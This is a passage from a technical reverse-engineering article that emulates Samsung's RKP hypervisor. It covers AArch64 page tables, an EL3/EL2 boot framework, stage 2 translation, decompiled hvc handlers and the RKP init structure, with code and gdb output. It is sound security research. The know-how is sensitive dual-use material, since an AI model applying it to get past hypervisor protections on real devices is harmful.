+----+-+-+----+---------+----+----+----+----+----+----+------+----+ | | | | Level 0 | Level 1 | Level 2 | Level 3 | PA offset | VA +----+---+----+---------+---------+---------+---------+-----------+ [55] [47:39] [38:30] [29:21] [20:12] [11:0] TTBRn Select For Levels 1 and 2 every entry can either point to the next translation table level (table entry) or to the actual physical address (block entry) effectively ending translation. The entry type is defined in bits[1:0], where bit 0 identifies whether the descriptor is valid (1 denotes a valid descriptor) and bit 1 identifies the type, value 0 being used for block entries and 1 for table entries. As a result entry type value 3 identifies table entries and value 1 block entries. Level 1 block entries point to 1GB memory regions with VA bits[29:0] being used as the PA offset and Level 2 block entries point to 2MB regions with bits[20:0] used as the offset. Last but not least, Level 3 translation tables can only have page entries (similar to block entries but with descriptor type value 3, as previous level table entries). 61 51 11 2 1:0 +------------+-----------------------------+----------+------+ Block Entry | Upper Attr | ... | Low Attr | Type | Stage 1 +------------+-----------------------------+----------+------+ Translation | bits | Attr | Description | --------------------------------------------------- | 4:2 | AttrIndex | MAIR_EL1 index | | 7:6 | AP | Access permissions | | 53 | PXN | Privileged execute never | | 54 | (U)XN | (Unprivileged) execute never | Block entry attributes | AP | EL0 Access | EL1/2/3 Access | for Stage 1 translation ------------------------------------- | 00 | None | Read Write | | 01 | Read Write | Read Write | | 10 | None | Read Only | | 11 | Read Only | Read Only | 61 59 2 1:0 +--------+--------------------------------------------+------+ Table Entry | Attr | ... | Type | Stage 1 +--------+--------------------------------------------+------+ Translation | bits | Attr | Description | --------------------------------------------- | 59 | PXN | Privileged execute never | | 60 | U/XN | Unprivileged execute never | | 62:61 | AP | Access permissions | Table entry attributes | AP | Effect in subsequent lookup levels | for Stage 1 translation ------------------------------------------- | 00 | No effect | | 01 | EL0 access not permitted | | 10 | Write disabled | | 11 | Write disabled, EL0 Read disabled | In our setup we use 2MB regions to map the kernel and create two mappings. Firstly, an identity mapping (VAs are equal to the PAs they are mapped to) set to TTBR0_EL1 and used mainly when the system transitions from not using the MMU to enabling it. Secondly, the TTBR1_EL1 mapping where PAs are mapped to VA_OFFSET + PA, which means that getting the PA from a TTBR1_EL1 VA or vice versa is simply done by subtracting or adding the VA_OFFSET correspondingly. This will be of importance during the RKP initialization. #define VA_OFFSET 0xffffff8000000000 #define __pa(x) ((uint64_t)x - VA_OFFSET) #define __va(x) ((uint64_t)x + VA_OFFSET) The code to create the page tables and enable the MMU borrows heavily from the Linux kernel implementation. We use one Level 1 entry and the required amount of Level 2 block entries with the two tables residing in contiguous preallocated (defined in the linker script) physical pages. The Level 1 entry is evaluated by macro `create_table_entry`. First, the entry index is extracted from VA bits[38:30]. The entry value is the next Level table PA ORed with the valid table entry value. This also implicitly defines the table entry attributes, where (U)XN is disabled, Access Permissions (AP) have no effect in subsequent levels of lookup. For additional details regarding the memory attributes and their hierarchical control over memory accesses refer to AARM section "D5.3.3 Memory attribute fields in the VMSAv8-64 translation table format descriptors". A similar process is followed for Level 2 but in a loop to map all required VAs in macro `create_block_map`. The entry value is the PA we want to map ORed with block entry attribute values defined by AARCH64_BLOCK_DEF_FLAGS. The flag value used denotes a non-secure memory region, (U/P)XN disabled, Normal memory as defined in Memory Attribute Indirection Register (MAIR_EL1) and Access Permissions (AP) that allow Read/Write to EL1 and no access to EL0. As with table entries, for detailed description refer to AARM section "D5.3.3". Finally, MAIR_ELx serves as a table holding information/attributes of memory regions and readers may refer to AARM section "B2.7 Memory types and attributes" for more information. // framework/aarch64.h /* * Block default flags for initial MMU setup * * block entry * attr index 4 * NS = 0 * AP = 0 (EL0 no access, EL1 rw) * (U/P)XN disabled */ #define AARCH64_BLOCK_DEF_FLAGS ( \ AARCH64_PGTBL_BLK_ENTRY | \ 0x4 << AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_IDX_SHIFT | \ AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_AP_RW_ELHIGH << \ AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_AP_SHIFT | \ AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_SH_INN_SH << \ AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_SH_SHIFT | \ 1 << AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_AF_SHIFT \ ) // framework/mmu.S __enable_mmu: ... bl __create_page_tables isb mrs x0, sctlr_el1 orr x0, x0, #(AARCH64_SCTLR_EL1_M) msr sctlr_el1, x0 ... __create_page_tables: mov x7, AARCH64_BLOCK_DEF_FLAGS ... // x25 = swapper_pg_dir u/ x20 = VA_OFFSET mov x0, x25 adrp x1, _text add x1, x1, x20 create_table_entry x0, x1, #(LEVEL1_4K_INDEX_SHIFT), \ #(PGTBL_ENTRIES), x4, x5 adrp x1, _text add x2, x20, x1 adrp x3, _etext add x3, x3, x20 create_block_map x0, x7, x1, x2, x3 ... .macro create_table_entry, tbl, virt, shift, ptrs, tmp1, tmp2 lsr \tmp1, \virt, \shift and \tmp1, \tmp1, \ptrs - 1 // table entry index add \tmp2, \tbl, #PAGE_SIZE // next page table PA orr \tmp2, \tmp2, #AARCH64_PGTBL_TBL_ENTRY // valid table entry str \tmp2, [\tbl, \tmp1, lsl #3] // store new entry add \tbl, \tbl, #PAGE_SIZE // next level table page .endm .macro create_block_map, tbl, flags, phys, start, end lsr \phys, \phys, #LEVEL2_4K_INDEX_SHIFT lsr \start, \start, #LEVEL2_4K_INDEX_SHIFT and \start, \start, #LEVEL_4K_INDEX_MASK // table index orr \phys, \flags, \phys, lsl #LEVEL2_4K_INDEX_SHIFT // table entry lsr \end, \end, #LEVEL2_4K_INDEX_SHIFT // block entries counter and \end, \end, #LEVEL_4K_INDEX_MASK // table end index 1: str \phys, [\tbl, \start, lsl #3] // store the entry add \start, \start, #1 // next entry add \phys, \phys, #LEVEL2_4K_BLK_SIZE // next block cmp \start, \end b.ls 1b .endm ... As a demonstration we perform a manual table walk for VA 0xffffff8080000000 which should be the TTBR1_EL1 VA of function `_reset()`. The Level 1 table index (1) is 2 and the entry value is 0x8008a003 which denotes a valid table descriptor at PA 0x8008a000. The Level 2 entry index (2) is 0 and value of the entry is 0x80000711 which denotes a block entry at physical address 0x80000000. The remaining VA bits setting the PA offset are zero and examining the resulting PA is of course the start of function `_reset()`. Note that since we have not yet enabled the MMU (as shown in the disassembly this is performed in the next instructions), all memory accesses with gdb refer to PAs that is why we can directly examine the page tables and resulting PA. In our setup that would be true even with MMU enabled due to the identity mapping, however, this should not be assumed to apply to every system. (gdb) disas Dump of assembler code for function __enable_mmu: 0x00000000800401a0 <+0>: mov x28, x30 0x00000000800401a4 <+4>: adrp x25, 0x80089000 // TTBR1_EL1 0x00000000800401a8 <+8>: adrp x26, 0x8008c000 0x00000000800401ac <+12>: bl 0x80040058 <__create_page_tables> => 0x00000000800401b0 <+16>: isb 0x00000000800401b4 <+20>: mrs x0, sctlr_el1 0x00000000800401b8 <+24>: orr x0, x0, #0x1 End of assembler dump. (gdb) p/x ((0xffffff8000000000 + 0x80000000) >> 30) & 0x1ff /* (1) */ $19 = 0x2 (gdb) x/gx ($TTBR1_EL1 + 2*8) 0x80089010: 0x000000008008a003 (gdb) p/x ((0xffffff8000000000 + 0x80000000) >> 21) & 0x1ff /* (2) */ $20 = 0x0 (gdb) x/gx 0x000000008008a000 0x8008a000: 0x0000000080000711 (gdb) x/10i 0x0000000080000000 0x80000000 <_reset>: ldr x30, 0x80040000 0x80000004 <_reset+4>: mov sp, x30 0x80000008 <_reset+8>: mrs x0, currentel Finally, with the MMU enabled we are ready to enable RKP. Since the EL2 exception vector tables are not set, the only way to do that is to drop to EL2 from EL3 as we did for EL1. We invoke `smc` with function identifier CINT_VMM_INIT which the EL3 interrupt handler redirects to function `_vmm_init_el3()`. ----[ 2.2 - EL2 Bootstrap RKP binary is embedded in our kernel image using the `incbin` assembler directive as shown below and before dropping to EL2 we must place the binary in its expected physical address. Since RKP is an ELF file, we can easily obtain the PA and entry point which for this specific RKP version are 0xb0100000 and 0xb0101000 respectively. `copy_vmm()` function copies the binary from its kernel position to the expected PA during the system initialization in function `_reset()`. // framework/boot64.S ... .global _svmm _svmm: .incbin "vmm-G955FXXU4CRJ5.elf" .global _evmm _evmm: ... $ readelf -l vmm-G955FXXU4CRJ5.elf Elf file type is EXEC (Executable file) Entry point 0xb0101000 There are 2 program headers, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x00000000b0100000 0x00000000b0100000 0x000000000003e2e0 0x000000000003e6c0 RWE 0x10000 ... At long last we are ready to drop to EL2. Similarly to dropping to EL1, we set ELR_EL3 to the RKP entry point and SPSR_EL3 so that the fake exception came from EL2 executing in AArch64 mode. We additionally set X0 and X1 to to RKP start PA and reserved size. These values are dictated by the Samsung kernel implementation and the oracles and required by the EL2 implementation which will be explained shortly. Readers interested in the Samsung kernel implementation can refer to kernel function `vmm_init()` at kernel/init/vmm.c which is called during the kernel initialization in function `start_kernel()`. // framework/boot64.S .global _vmm_init_el3 .align 2 _vmm_init_el3: // return to vmm.elf entry (RKP_VMM_START + 0x1000) mov x0, #RKP_VMM_START add x0, x0, #0x1000 msr elr_el3, x0 mov x0, #(AARCH64_SPSR_FROM_AARCH64 | AARCH64_SPSR_MODE_EL2 | \ AARCH64_SPSR_SP_SEL_N) msr spsr_el3, x0 // these are required for the correct hypervisor setup mov x0, #RKP_VMM_START mov x1, #RKP_VMM_SIZE eret .inst 0xdeadc0de //crash for sure ENDPROC(_vmm_init_el3) One valuable source of information at this point is the Linux kernel procfs entry /proc/sec_log as it provides information about the aforementioned values during Samsung kernel `vmm_init()` invocation. This procfs entry is part of the Exynos-SnapShot debugging framework and more information can be found in the kernel source at kernel/drivers/trace/exynos-ss.c. A sample output with RKP related values is displayed below. Apart from the RKP related values we can see the kernel memory layout which will be helpful in creating our framework memory layout to satisfy the plethora of criteria introduced by RKP which will be presented later. RKP: rkp_reserve_mem, base:0xaf400000, size:0x600000 RKP: rkp_reserve_mem, base:0xafc00000, size:0x500000 RKP: rkp_reserve_mem, base:0xb0100000, size:0x100000 RKP: rkp_reserve_mem, base:0xb0200000, size:0x40000 RKP: rkp_reserve_mem, base:0xb0400000, size:0x7000 RKP: rkp_reserve_mem, base:0xb0407000, size:0x1000 RKP: rkp_reserve_mem, base:0xb0408000, size:0x7f8000 software IO TLB [mem 0x8f9680000-0x8f9a80000] (4MB) mapped at [ffffffc879680000-ffffffc879a7ffff] Memory: 3343540K/4136960K available (11496K kernel code, 3529K rwdata, 7424K rodata, 6360K init, 8406K bss, 637772K reserved, 155648K cma-reserved) Virtual kernel memory layout: modules : 0xffffff8000000000 - 0xffffff8008000000 ( 128 MB) vmalloc : 0xffffff8008000000 - 0xffffffbdbfff0000 ( 246 GB) .init : 0xffffff8009373000 - 0xffffff80099a9000 ( 6360 KB) .text : 0xffffff80080f4000 - 0xffffff8008c2f000 ( 11500 KB) .rodata : 0xffffff8008c2f000 - 0xffffff8009373000 ( 7440 KB) .data : 0xffffff80099a9000 - 0xffffff8009d1b5d8 ( 3530 KB) vmemmap : 0xffffffbdc0000000 - 0xffffffbfc0000000 ( 8 GB maximum) 0xffffffbdc0000000 - 0xffffffbde2000000 ( 544 MB actual) SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=1 RKP: vmm_reserved .base=ffffffc030100000 .size=1048576 .bss=ffffffc03013e2e0 .bss_size=992 .text_head=ffffffc030101000 .text_head_size=192 RKP: vmm_kimage .base=ffffff8009375a10 .size=255184 RKP: vmm_start=b0100000, vmm_size=1048576 RKP: entry point=00000000b0101000 RKP: status=0 in rkp_init, swapper_pg_dir : ffffff800a554000 The entry point eventually leads to RKP function `vmm_main()` (0xb0101818). The function initially checks whether RKP has already been initialized (3) and if true it returns, or else proceeds with the initialization and sets the initialization flag. Immediately after this, `memory_init()` function (0xb0101f24) is called where a flag is set indicating that memory is active and a 0x1f000 sized buffer at 0xb0220000 is initialized to zero. // vmm-G955FXXU4CRJ5.elf int64_t vmm_main(int64_t hyp_base_arg, int64_t hyp_size_arg, char **stacks) { ... if ( !initialized_ptr ) /* (3) */ { initialized_ptr = 1; memory_init(); log_message("RKP_cdb5900c %sRKP_b826bc5a %s\n", "Jul 11 2018", "11:19:43"); /* various log messages and misc initializations */ heap_init(base, size); stacks = memalign(8, 0x10000) + 0x2000; vmm_init(); ... if (hyp_base_arg != 0xB0100000) return -1; ... set_ttbr0_el2(&_static_s1_page_tables_start___ptr); s1_enable(); set_vttbr_el2(&_static_s2_page_tables_start___ptr); s2_enable(); } ... return result; } This buffer is the RKP log and along with RKP debug log at 0xb0200000, which will be presented later, they comprise the EL2 oracles. Both of them are made available via procfs entry /proc/rkp_log and interested readers can check kernel/drivers/rkp/rkp_debug_log.c for more information from the kernel perspective. RKP log is written to by `log_message()` function (0xb0102e94) among others and an edited sample output from `vmm_main()` with deobfuscated strings as comments with the help of S7 hypervisor binary as mentioned before. RKP_1f22e931 0xb0100000 RKP_dd15365a 40880 // file base: %p size %s RKP_be7bb431 0xb0100000 RKP_dd15365a 100000 // region base: %p size %s RKP_2db69dc3 0xb0220000 RKP_dd15365a 1f000 // memory log base: %p size %s RKP_2c60d5a7 0xb0141000 RKP_dd15365a bf000 // heap base: %p size %s During the initialization the heap is initialized and memory is allocated for the stack which has been temporarily set to a reserved region during compilation. Next, in `vmm_init()` (0xb0109758) two critical actions are performed. First, the EL2 exception vector table (0xb010b800) is set in VBAR_EL2 enabling us to invoke RKP from EL1 via `hvc`. Finally, HCR_EL2.TVM (bit 26) is set trapping EL1 writes to virtual memory control registers (SCTLR_EL1, TTBRnRL1, TCR_EL1, etc) to EL2 with Syndrome Exception Class (ESR_EL2.EC bits [31:26]) value 0x18 (more on this while discussing the EL2 synchronous exception handler). At this point we clarify one the aforementioned constrains; that of the RKP bootstrap arguments. The RKP PA is compared at this point with hardcoded value 0xb0100000 and if there's a mismatch the bootstrap process terminates and -1 is returned denoting failure. Furthermore, the PA is stored and used later during the paging initialization, also discussed later. If the RKP PA check is satisfied, the final bootstrap steps comprise the MMU and memory translations enabling. First, EL2 Stage 1 translations are enabled. TTBR0_EL2 is set to predefined static tables at 0xb011a000 and `s1_enable()` (0xb0103dcc) function is called. First, MAIR_EL2 is set to define two memory attributes (one for normal memory and one for device memory). Next, TCR_EL2 is ORed with 0x23518 which defines a 40 bits or 1TB Physical Address Size (TCR_EL2.PS bits[18:16]), a 4kB Granule size (TCR_EL2.TG0 bits[15:14]) and 24 size offset (TCR_EL2.T0SZ bits[5:0]) which corresponds to a 64-24=40 bit or 1TB input address space for TTBR0_EL2. To conclude `s1_enable()` SCTLR_EL2 is set with the important values being SCTLR_EL2.WNX (bit 19) which enables the behavior where write permission implies XN and SCTLR_EL2.M (bit 0) which enables the MMU. Last but not least, Stage 2 translation is enabled. VTTBR_EL2 which holds the Stage 2 translation tables is set to the predefined static tables at 0xb012a000. Next, Virtual Translation Control Register (VTCR_EL2) is set which as the name dictates, controls the Stage 2 translation process similarly to TCR_ELx for Stage 1 translations. Its value defines a 40 bits or 1TB Physical Address Size (VTCR_EL2.PS bits[18:16]), a 4kB Granule size (TCR_EL2.TG0 bits[15:14]), and 24 size offset (TCR_EL2.T0SZ bits[5:0]) which corresponds to a 64-24=40 bit or 1TB input address space for VTTBR0_EL2. Moreover, Starting Level of Stage 2 translation controlled by VTCR_EL2.SL0 (bits[7:6]) is set to 1 and since TCR_EL2.TG0 is set to 4kB Stage 2 translations start at Level 1 with concatenated tables which will be explained in detail next. Finally, HCR_EL2.VM (bit 0) is set to enable Stage 2 translation. ------[ 2.2.1 - Stage 2 translation & Concatenated tables As AARM states "for a Stage 2 translation, up to 16 translation tables can be concatenated at the initial lookup level. For certain input address sizes, concatenating tables in this way means that the lookup starts at a lower level than would otherwise be the case". We are going to demonstrate this in our current setup but for more details refer to section "D5.2.6 Overview of the VMSAv8-64 address translation stages" of AARM. Since we have a 40 bit input address range only bit 39 of the input VA is used to index translation table at Level 0 and as a result only two Level 1 tables exist. Instead of the default setup, ARM allows to concatenate the two tables in contiguous physical pages and start translation in Level 1. To index the Level 1 tables, IPA bits[39:30] are used instead of the traditional bits[38:30]. +---------+---------+---------+---------+-----------+ Default approach | 39 | [38:30] | [29:21] | [20:12] | [11:0] | Stage 2 translation | | | | | | IPA segmentation | Level 0 | Level 1 | Level 2 | Level 3 | Block off | 4kB Granule +---------+---------+---------+---------+-----------+ 40-bit IPS +-------------+---------+---------+-----------+ Concatenated Tables | [39:30] | [29:21] | [20:12] | [11:0] | IPA segmentation | | | | | 4kB Granule | Level 1 | Level 2 | Level 3 | Block off | 40-bit IPS +-------------+---------+---------+-----------+ VTCR_EL2.SL0 = 1 We have included a gdb script to dump the Stage 2 translation tables based on tools from [03] and [06]. The script reads the table PA from VTTBR_EL2 and is configured for our setup only and not the generic approach. Moreover, it needs to be called from EL2 or EL3, for which `switchel <#>` command can be used. Finally, our analysis indicates that there is a 1:1 mapping between IPAs and PAs. (gdb) switchel $cpsr = 0x5 (EL1) (gdb) switchel 2 Moving to EL2 $cpsr = 0x9 (gdb) pagewalk ################################################ # Dump Second Stage Translation Tables # ################################################ PA Size: 40-bits Starting Level: 1 IPA range: 0x000000ffffffffff Page Size: 4KB ... Third level: 0x1c07d000-0x1c07e000: S2AP=11, XN=10 Third level: 0x1c07e000-0x1c07f000: S2AP=11, XN=10 ... second level block: 0xbfc00000-0xbfe00000: S2AP=11, XN=0 second level block: 0xbfe00000-0xc0000000: S2AP=11, XN=0 first level block: 0xc0000000-0x100000000: S2AP=11, XN=0 first level block: 0x880000000-0x8c0000000: S2AP=11, XN=0 ... (gdb) switchel 1 Moving to EL1 $cpsr = 0x5 (EL1) ------[ 2.2.2 - EL2 bootstrap termination and EL1 physical address Now that the hypervisor is setup we can resume with the framework setup. The bootstrap process terminates via an `smc` command thus returning to EL3. X0 holds the special value 0xc2000401 and X1 the return value of the operation (zero denoting success). If the bootstrap process fails, `handle_interrupt_el3()` fails (5) and the system hangs (4). // framework/vectors.S el3_synch_low_64: build_exception_frame bl handle_interrupt_el3 cmp x0, #0 /* (4) */ b.eq 1f b . 1: restore_exception_frame eret ... // framework/interrupt-handler.c int handle_interrupt_el3(uint64_t value, uint64_t status) { int ret = 0; switch (value) { case 0xc2000401: // special return value from vmm initialization if (status == 0) { _reset_and_drop_el1_main(); } else { ret = -1; /* (5) */ } ... } Careful readers might have noticed that the EL2 `smc` invocation causes a new exception frame to be stored in EL3 and in order to return to EL1 we must properly restore the state. Well, due to the framework minimal nature no information needs to be saved before or after EL2 bootstrap. As a result we simply reset the state (i.e. stack pointers) and drop to EL1 function `_el1_main()` which in turn leads to `el1_main()`. // framework/boot64.S ... _reset_and_drop_el1_main: /* * We have initialized vmm. Jump to EL1 main since HVC is now enabled, * and EL1 does not require EL3 to interact with hypervisor */ // setup EL3 stack ldr x30, =stack_top_el3 mov sp, x30 // setup EL1 stack ldr x30, =stack_top_el1 msr sp_el1, x30 mov x0, #(AARCH64_SPSR_FROM_AARCH64 | AARCH64_SPSR_MODE_EL1 | \ AARCH64_SPSR_SP_SEL_N) msr spsr_el3, x0 // drop to function _el1_main adr x0, _el1_main msr elr_el3, x0 eret /* (6) */ ... _el1_main: mov x20, #-1 lsl x20, x20, #VA_BITS adr x0, el1_main add x0, x0, x20 blr x0 ... Here we explain another system constrain. Our framework was arbitrarily placed at PA 0x80000000. The reason should by now be obvious. After enabling Stage 2 translation, every EL1 IPA is translated through Stage 2 tables to find the PA. Examining the hypervisor static maps reveals region starting at 0x80000000 to satisfy the criteria required for lower level execution. Specifically, eXecute Never (XN) field is unset and there is no write permissions. Should the kernel be placed in an unmapped or non executable for Stage 2 translation region during framework initialization, then returning from EL3 to EL1 (6) results in a translation error. (gdb) pagewalk ################################################ # Dump Second Stage Translation Tables # ################################################ ... Third level: 0x1c07e000-0x1c07f000: S2AP=11, XN=10 Third level: 0x1c07f000-0x1c080000: S2AP=11, XN=10 Third level: 0x80000000-0x80001000: S2AP=1, XN=0 Third level: 0x80001000-0x80002000: S2AP=1, XN=0 ... 54 51 10 2 1:0 +------------+-----------------------------+----------+------+ Block Entry | Upper Attr | .... | Low Attr | Type | Stage 2 +------------+-----------------------------+----------+------+ Translation | bits | Attr | Description | ------------------------------------------ | 5:2 | AttrIndex | MAIR_EL2 index | | 7:6 | S2AP | Access permissions | | 53:54 | XN | Execute never | Block entry attributes | S2AP | EL1/EL0 Access | | XN | Allow Exec | for Stage 2 translation ------------------------- -------------------- | 00 | None | | 00 | EL0/EL1 | | 01 | Read Only | | 01 | EL0 not EL1 | | 10 | Write Only | | 10 | None | | 11 | Read Write | | 11 | EL1 not EL0 | ----[ 2.3 - RKP Initialization Functions The first thing performed in `el1_main()` is to initialize RKP. There are numerous steps that comprise RKP initialization and we will present them in the following sections. Before explaining the initialization process though we will describe the RKP exception handlers. ------[ 2.3.1 - RKP Synchronous Handler As explained during the EL2 bootstrap VBAR_EL2 is set at 0xb010b800 where each handler first creates the exception frame storing all generic registers and then calls function `vmm_dispatch()` (0x0b010aa44) with the three arguments being the offset indicating the EL from which the exception was taken, the exception type and the exception frame address respectively. `vmm_dispatch()` is designed to only handle synchronous exceptions and simply returns otherwise. Function `vmm_synchronous_handler()` (0xb010a678) handles as the name suggests the synchronous exceptions and only the exception frame (third) argument is of importance. stp X1, X0, [SP,#exception_frame]! ... mov X0, #0x400 // Lower AArch64 mov X1, #0 // Synchronous Exception mov X2, SP // Exception frame, holding args from EL1 bl vmm_dispatch ... ldp X1, X0, [SP+0x10+exception_frame],#0x10 clrex eret As shown from the following snippet the handler first evaluates ESR_EL2.EC. Data and Instruction Aborts from the current EL (ECs 0x21 and 0x25) are not recoverable and the handler calls `vmm_panic()` function (0xb010a4cc) which leads to system hang. Data and Instruction Aborts from lower EL (ECs 0x20 and 0x24) are handled directly by the handler. Furthermore, as mentioned before, by setting HCR_EL2.TVM during the RKP bootstrap, EL1 writes to virtual memory control registers are trapped to EL2 with EC 0x18 and here handled by function `other_msr_mrs_system()` (0xb010a24c). `hvc` commands either from AArch32 or AArch64 (ECs 0x12 and 0x16) are our main focus and will be explained shortly. Finally, any other ECs return -1 which leads `vmm_dispatch()` to `vmm_panic()`. // vmm-G955FXXU4CRJ5.elf int64_t vmm_synchronous_handler(int64_t from_el_offset, int64_t exception_type, exception_frame *exception_frame) { esr_el2 = get_esr_el2(); ... switch ( esr_el2 >> 26 ) /* Exception Class */ { case 0x12: /* HVC from AArch32 */ case 0x16: /* HVC from AArch64 */ if ((exception_frame->x0 & 0xFFF00000) == 0x83800000) /* (7) */ rkp_main(exception_frame->x0, exception_frame); ... return 0; case 0x18: /* Trapped MSR, MRS or System instruction execution */ v7 = other_msr_mrs_system(exception_frame); ... case 0x20: /* Instruction Abort from a lower Exception level */ ... case 0x21: /* Instruction Abort Current Exception Level */ vmm_panic(from_el_offset, exception_type, ...); case 0x24: /* Data Abort from a lower Exception level */ ... case 0x25: /* Data Abort Current Exception Level */ vmm_panic(from_el_offset, exception_type, ...); default: return -1; } } Before moving to `hvc` we will be briefly introducing `msr`/`mrs` handling (for details regarding the values of ESR_EL2 discussed here refer to AARM section "D13.2.37"). First, the operation direction is checked via the ESR_EL2.ISS bit 0. As mentioned only writes are supposed to be trapped (direction bit value must be 0) and if somehow a read was trapped, handler ends up in `vmm_panic()`. The general purpose register used for the transfer is discovered from the value of ESR_EL2.ISS.Rt (bits [9:5]). The rest of ESR_EL2.ISS values are used to identify the system register accessed by `msr` and in RKP each system register is handled differently. For example SCTLR_EL1 handler does not allow to disable the MMU or change endianess and TCR_EL1 handler does not allow modification of the Granule size. We will not be examining every case in this (already long) article, but interested readers should by now have more than enough information to start investigating function `other_msr_mrs_system()`. RKP `hvc` invocation's first argument (X0) is the function identifier and as shown in (7) must abide by a specific format for function `rkp_main()` (0xb010d000) which is the `hvc` handler to be invoked. Specifically, each command is expected to have a prefix value of 0x83800000. Furthermore, to form the command, command indices are shifted by 12 and then ORed with the prefix (readers may also refer to kernel/include/linux/rkp.h). This format is also expected by `rkp_main()` as explained next. // vmm-G955FXXU4CRJ5.elf void rkp_main(unsigned int64_t command, exception_frame *exception_frame) { hvc_cmd = (command >> 12) & 0xFF; /* (8) */ if ( hvc_cmd && !is_rkp_activated ) /* (9) */ lead_to_policy_violation(hvc_cmd); ... my_check_hvc_command(hvc_cmd); switch ( hvc_cmd ) { case 0: ... if ( is_rkp_activated ) /* (10) */ rkp_policy_violation(2, 0, 0, 0); rkp_init(exception_frame); ... break; ... void my_check_hvc_command(unsigned int64_t cmd_index) { if ( cmd_index > 0x9F ) rkp_policy_violation(3, cmd_index, 0, 0); prev_counter = my_cmd_counter[cmd_index]; if ( prev_counter != 0xFF ) { cur_counter = (prev_counter - 1); if ( cur_counter > 1 ) rkp_policy_violation(3, cmd_index, prev_counter, 0); my_cmd_counter[cmd_index] = cur_counter; } } `rkp_main()` first extracts the command index (8) and then calls function `my_check_hvc_command()` (0xb0113510). Two things are happening there. First, the index must be smaller than 0x9f. Second, RKP maintains an array with command counters. The counter for RKP initialization command is 1 during the array definition and is set again along with all other values at runtime in function `my_initialize_hvc_cmd_counter()` (0xb011342c) during the initialization. If any of these checks fails, `rkp_policy_violation()` (0xb010dba4) is called which can be considered as an assertion error and leads to system hang. Finally, before allowing any command invocation except for the initialization, a global flag indicating whether RKP is initialized is checked (9). This flag is obviously set after a successful initialization as explained in the following section. Before continuing with the initialization process we will present some commands as examples to better demonstrate their usage. The first initialization function (presented next) is `rkp_init()` with command id 0 which corresponds to command 0x83800000. During definition, as mentioned above, its counter is set to 1 so that it can be called once before invoking `my_initialize_hvc_cmd_counter()`. Similarly, command id 1 corresponds to deferred initialization function (also presented next), can be reached with command 0x83801000 and since its counter is set to 1 which means it can only be called once. Commands with counter value -1 as the ones shown in the table below for handling page tables (commands 0x21 and 0x22 for level 1 and 2 correspondingly) can be called arbitrary number of times. | Function | ID | Command | Counter | ---------------------------------------------- | rkp_init | 0x0 | 0x83800000 | 0 | | rkp_def_init | 0x1 | 0x83801000 | 1 | ... | rkp_pgd_set | 0x21 | 0x83821000 | -1 | | rkp_pmd_set | 0x22 | 0x83822000 | -1 | ... ------[ 2.3.2 - RKP Initialization With this information, we are now ready to initialize RKP. In the snippet below we demonstrate the framework process to initialize the RKP (with RKP command id 0). We also show the `rkp_init_t` struct values used in the framework during the invocation and we will be elaborating more on them while examining the RKP initialization function `rkp_init()` (0xb0112f40). Interested readers can also study and compare `framework_rkp_init()` function with Samsung kernel function `rkp_init()` in kernel/init/main.c and the initialization values presented here against some of the values from the sample sec_log output above. // framework/main.c void el1_main(void) { framework_rkp_init(); ... } // framework/vmm.h #define RKP_PREFIX (0x83800000) #define RKP_CMDID(CMD_ID) (((CMD_ID) << 12 ) | RKP_PREFIX) #define RKP_INIT RKP_CMDID(0x0) ... // framework/vmm.c void framework_rkp_init(void) { struct rkp_init_t init; init.magic = RKP_INIT_MAGIC; init._text = (uint64_t)__va(&_text); init._etext = (uint64_t)__va(&_etext); init.rkp_pgt_bitmap = (uint64_t)&rkp_pgt_bitmap; init.rkp_dbl_bitmap = (uint64_t)&rkp_map_bitmap; init.rkp_bitmap_size = 0x20000; init.vmalloc_start = (uint64_t)__va(&_text); init.vmalloc_end = (uint64_t)__va(&_etext+0x1000); init.init_mm_pgd = (uint64_t)&swapper_pg_dir; init.id_map_pgd = (uint64_t)&id_pg_dir; init.zero_pg_addr = (uint64_t)&zero_page; init.extra_memory_addr = RKP_EXTRA_MEM_START; init.extra_memory_size = RKP_EXTRA_MEM_SIZE; init._srodata = (uint64_t)__va(&_srodata); init._erodata = (uint64_t)__va(&_erodata); rkp_call(RKP_INIT, &init, (uint64_t)VA_OFFSET, 0, 0, 0); } // framework/util.S rkp_call: hvc #0 ret ENDPROC(rkp_call) magic : 0x000000005afe0001 vmalloc_start : 0xffffff8080000000 vmalloc_end : 0xffffff8080086000 init_mm_pgd : 0x0000000080088000 id_map_pgd : 0x000000008008b000 zero_pg_addr : 0x000000008008e000 rkp_pgt_bitmap : 0x0000000080044000 rkp_dbl_bitmap : 0x0000000080064000 rkp_bitmap_size : 0x0000000000020000 _text : 0xffffff8080000000 _etext : 0xffffff8080085000 extra_mem_addr : 0x00000000af400000 extra_mem_size : 0x0000000000600000 physmap_addr : 0x0000000000000000 _srodata : 0xffffff8080085000 _erodata : 0xffffff8080086000 large_memory : 0x0000000000000000 fimc_phys_addr : 0x00000008fa080000 fimc_size : 0x0000000000780000 tramp_pgd : 0x0000000000000000 Before everything else, the debug log at 0xb0200000 is initialized (11). This is the second EL2 oracle and we will be discussing it shortly as it will provide valuable information to help create correct memory mapping for the initialization to be successful. Evidently, there are two modes of RKP operation which are decided upon during the initialization; normal and test mode. Test mode disables some of the aforementioned `hvc` command invocation counters and enables some command indices/functions. As the name suggests these are used for testing purposes and while these may assist and ease the reversing process, we will not be analyzing them in depth, because the are not encountered in real world setups. The mode is selected by the struct magic field, whose value can either be 0x5afe0001 (normal mode) or 0x5afe0002 (test mode). It would be possible to change to test mode via a second `rkp_init()` invocation while hoping not to break any other configurations, however this is not possible via normal system interaction. As shown in (12) after a successful initialization, global flag `is_rkp_activated` is set. This flag is then checked (10) before calling `rkp_init()` in `rkp_main()` function as demonstrated in the previously presented snippet. // vmm-G955FXXU4CRJ5.elf void rkp_init(exception_frame *exception_frame) { ... rkp_init_values = maybe_rkp_get_pa(exception_frame->x1); rkp_debug_log_init(); /* (11) */ ... if ( rkp_init_values->magic - 0x5AFE0001 <= 1 ){ if ( rkp_init_values->magic == 0x5AFE0002 ) { /* enable test mode */ } /* store all rkp_init_t struct values */ 